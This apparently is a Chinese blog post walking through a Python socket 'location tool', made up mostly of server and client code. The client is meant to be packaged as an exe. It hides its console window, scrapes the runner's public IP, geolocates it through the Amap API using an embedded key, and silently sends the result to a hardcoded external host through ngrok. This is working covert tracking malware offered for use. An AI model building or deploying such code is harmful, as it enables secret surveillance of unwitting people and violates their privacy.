python socket打造一个定位工具
前言:
刚刚学习socket,打算后期得学习
怎么写exploit。
原理:
其实很简单,客户端写个爬虫。然后将获取到的IP放入高德地图
在通过socket发送。利用ngrok达到能外网搞事。
准备:
requests
高德地图API
ngrok !:官网下,其他的有可能不稳定
服务端代码:
import socket def jieshou(): benji=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) connetct=benji.connect(('8.8.8.8',80)) ip=benji.getsockname()[0] print(ip) phone=socket.socket(socket.AF_INET,socket.SOCK_STREAM) phone.bind(('0.0.0.0',4444)) #0.0.0.0表示的是一个集合,端口是你用ngrok进行内网穿透的端口 phone.listen(5) print('[+]正在接受信息....') while True: conng,addr=phone.accept() print(conng) client=conng.recv(102400).decode() print(client) jieshou()
客户端代码:timport requestsimport socketfrom bs4 import BeautifulSoup
import re import win32api, win32gui ct = win32api.GetConsoleTitle() ----> hd = win32gui.FindWindow(0,ct) ---> win32gui.ShowWindow(hd,0) ---> 这三行代码用于后期打包成exe隐藏运行的框框 def yij(): global jiu,cw url="http://2017.ip138.com/ic.asp" headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'} rs=requests.get(url,headers=headers) rst=rs.content.decode('gbk') lok=BeautifulSoup(rst,'html.parser') for by in lok.find_all('center'): lg=by.get_text() lwdk=re.findall('(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)',rst) lt=lwdk[0] pos=".".join(lt) print(pos) urldw="http://restapi.amap.com/v3/ip?key=14a0916fcc2c8413e93db92ce81c60c6&ip={}".format(pos) l=requests.get(urldw,headers=headers) js=l.json() cw= "IP:{}".format(pos),"省",js['province'],"市",js['city'],"经度,纬度",js['rectangle'] yij() def fason(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('52.15.194.28',15043)) #ip填ping ngrok得到的IP,端口填ngrok的端口
s.send(('{}'.format(cw).encode('utf-8'))) s.close() fason()
ngrok图
用pyinstaller打包成exe
效果测试图:
运行pz.exe
服务端接受到的: